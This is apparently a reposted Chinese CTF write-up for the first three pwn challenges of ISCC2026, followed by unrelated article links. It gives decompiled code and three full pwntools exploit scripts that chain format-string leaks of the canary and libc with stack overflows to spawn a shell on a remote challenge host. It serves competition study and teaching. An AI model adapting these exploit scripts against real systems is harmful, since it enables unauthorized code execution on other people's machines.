当前位置: 首页 > news >正文

ISCC2026 校级赛 pwn 前三题

1

# 题目分析

```c
unsigned int vuln()
{
int i; // [esp+4h] [ebp-74h]
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
for (i = 0; i <= 1; ++i)
{
read(0, buf, 512u);
printf(buf);
}
return __readgsdword(0x14u) ^ v3;
}

很简单的思路,第一次泄露 canary,第二次栈溢出,ret 到 getshell 这个函数。

.text:08049221 var_74= dword ptr -74h
.text:08049221 buf= byte ptr -70h
.text:08049221 var_C= dword ptr -0Ch
.text:08049221
.text:08049221 ; __unwind {
.text:08049221 000 55 push ebp
.text:08049222 004 89 E5 mov ebp, esp
.text:08049224 004 83 EC 78 sub esp, 78h
.text:08049227 07C 65 A1 14 00 00 00 mov eax, large gs:14h
.text:0804922D 07C 89 45 F4 mov [ebp+var_C], eax
.text:08049230 07C 31 C0 xor eax, eax
.text:08049232 07C C7 45 8C 00 00 00 00 mov [ebp+var_74], 0
.text:08049239 07C EB 29 jmp short loc_8049264

稍微算一下就知道 buf 距离 canary 为 0x64,那么第一次就填充 0x64 个字符,sendline 就可以泄露 canary,然后把末尾改成\x00

pwindbg 里同时可以验证。

第二次先覆盖到 canary 前,然后用泄露的 canary,然后填充到 ebp,用 getshell 覆盖返回地址,就能打通了。

EXP

from pwn import * context.log_level = 'debug' local = 1 if local: p = process('./attachment-5') gdb.attach(p) else: p = remote('39.96.193.120', 10004) p.recvuntil(b"Hello Hacker!") getshell = 0x080491C6 payload = b'A' * 0x63 + b'b' p.sendline(payload) p.recvuntil(b'b') leak = u32(p.recv(4)) - 0xa print(hex(leak)) payload = b'a' * 0x64 + p32(leak) + b'a' * 12 + p32(getshell) p.sendline(payload) p.interactive()

2

EXP

from pwn import * from LibcSearcher import LibcSearcher context.log_level = 'debug' exe = ELF("./pwn_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.31.so") context.binary = exe local = 0 if local: p = process('./pwn_patched') gdb.attach(p,'b *0x080492F8') else: p = remote('39.96.193.120',10000) x_addr = 0x0804C030 gadgets = 0x804c100 p.recvuntil(b"Hope you have a good time here.") payload = p32(x_addr) +b'a%4$n' + b'%p.' + b'%15$p' p.sendline(payload) p.recvuntil(b'0x') leak = int(p.recv(8),16) print(hex(leak)) ebp_addr = leak-8 log.info(f'ebp = {hex(ebp_addr)}') p.recvuntil(b'.0x') libc_leak = int(p.recv(8),16) libc_base = libc_leak - 0x1aed5 log.info(f'libc_base={hex(libc_base)}') ''' libc = LibcSearcher('__libc_start_main', libc_main) libc_base = libc_main - libc.dump('__libc_start_main') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump("str_bin_sh") log.info(f'system_addr = {hex(system_addr)}') ''' system_addr = libc_base + libc.sym['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) pop_edi_ebp = 0x08049382 vul_addr = 0x08049227 ret_addr = 0x0804900e main_addr = 0x8049270 payload = b'a'*0x94 +p32(system_addr) + p32(vul_addr) + p32(bin_sh_addr) p.recvuntil(b"Input:\n") p.sendline(payload) p.interactive()

3

EXP

from pwn import * context.log_level = 'debug' exe = ELF("./pwn_patched") libc = ELF("./libc6_2.31-0ubuntu9.16_amd64.so") ld = ELF("./ld-2.31.so") context.binary = exe local = 0 if local: p = process('./pwn_patched') gdb.attach(p) else: p = remote('39.96.193.120',33334) pop_rdi = 0x4014a3 ret_addr =0x40101a p.recvuntil(b"Please enter your customer ID:") payload = b'%45$p' + b'%44$p' p.sendline(payload) p.recvuntil("Welcome, 0x") canary = int(p.recv(16),16) log.info(f'canary = {hex(canary)}') p.recvuntil(b'0x') libc_leak = int(p.recv(12),16) print(f'libc_leak = {hex(libc_leak)}') libc_base = libc_leak - 0x1F12E8 log.info(f'libc_base = {hex(libc_base)}') system_addr = libc_base + libc.sym['system'] bin_sh_addr = libc_base + next(libc.search('/bin/sh')) p.recvuntil(b"The item is limited to three per customer, please enter the quantity you need:") p.sendline(b'512') payload = b'a'*0x108 + p64(canary) + p64(0) + p64(ret_addr) +p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) p.sendline(payload) p.interactive()
http://www.jsqmd.com/news/773652/

相关文章:

  • 从零构建可信AISMM评估看板,手把手带你打通数据→特征→指标→可视化的全链路闭环
  • OpenSoul开源项目:构建个性化AI灵魂伴侣的技术架构与实战指南
  • 智能中间件驱动的跨平台设备通信技术解析
  • claw-memory-os:基于文件系统的AI智能体持久化记忆系统设计与实践
  • 大数据运维中的虚拟机配置:从零搭建你的数据城堡
  • 影刀RPA打造店群自动化:详解多浏览器并发,为TEMU与拼多多构建“平行作业空间”
  • 2025届学术党必备的六大AI论文平台实际效果
  • ESP32-P4 芯片升级:性能与多媒体体验全面提升
  • Gitee:中国开发者生态的加速器与安全守护者
  • 本地AI代理集成:将Cursor智能体接入Ironclaw框架的实践指南
  • Android虚拟摄像头终极指南:3步实现摄像头完美替换
  • Cesium风场可视化终极指南:如何让气象数据在三维地球表面“流动“起来?
  • MNT Pocket Reform:开源模块化笔记本电脑的革新设计
  • AI生产力教练:基于能量管理的智能任务优先级系统设计
  • 开放式耳机选购多角度实测:深层次性分析主流专业品牌技术,音质、稳定、轻便如何抉择?
  • 对于想要转行互联网的零基础小白,如果你耐心看完了这个答案
  • Spring零基础 JdbcTemplate 数据库操作 :两种DAO写法
  • VS Code Cursor主题深度解析:从柔和色系设计到高效编码环境配置
  • 基于混合储能的新能源汽车能量管理策略电动公交车【附代码】
  • 创业团队如何利用 Taotoken 统一管理多个 AI 模型的 API 密钥
  • AutoSar NVM数据同步的‘潜规则’:从一次RAM数据踩坑说起,聊聊回调与轮询的正确姿势
  • 营销黑客的着陆页生成器:用代码化与自动化驱动高效转化
  • AI洗牌UI行业:低端画图工被淘汰,真正懂行的设计师越混越值钱
  • 流浪动物救助微信小程序(30251)
  • 导航功能开发博客 3:实时状态、偏航判断与兜底机制
  • AISMM评估为何反复被退回?:揭秘SITS2026评审组内部打分逻辑与3个未公开否决红线
  • Java 学习打卡 Day6:方法基础入门
  • macOS外接显示器亮度调节终极指南:如何用MonitorControl告别物理按钮烦恼
  • 开源风险发现工具Riskow:上下文感知的云原生安全风险评估实践
  • 对比使用聚合平台前后在模型选型与切换上的效率提升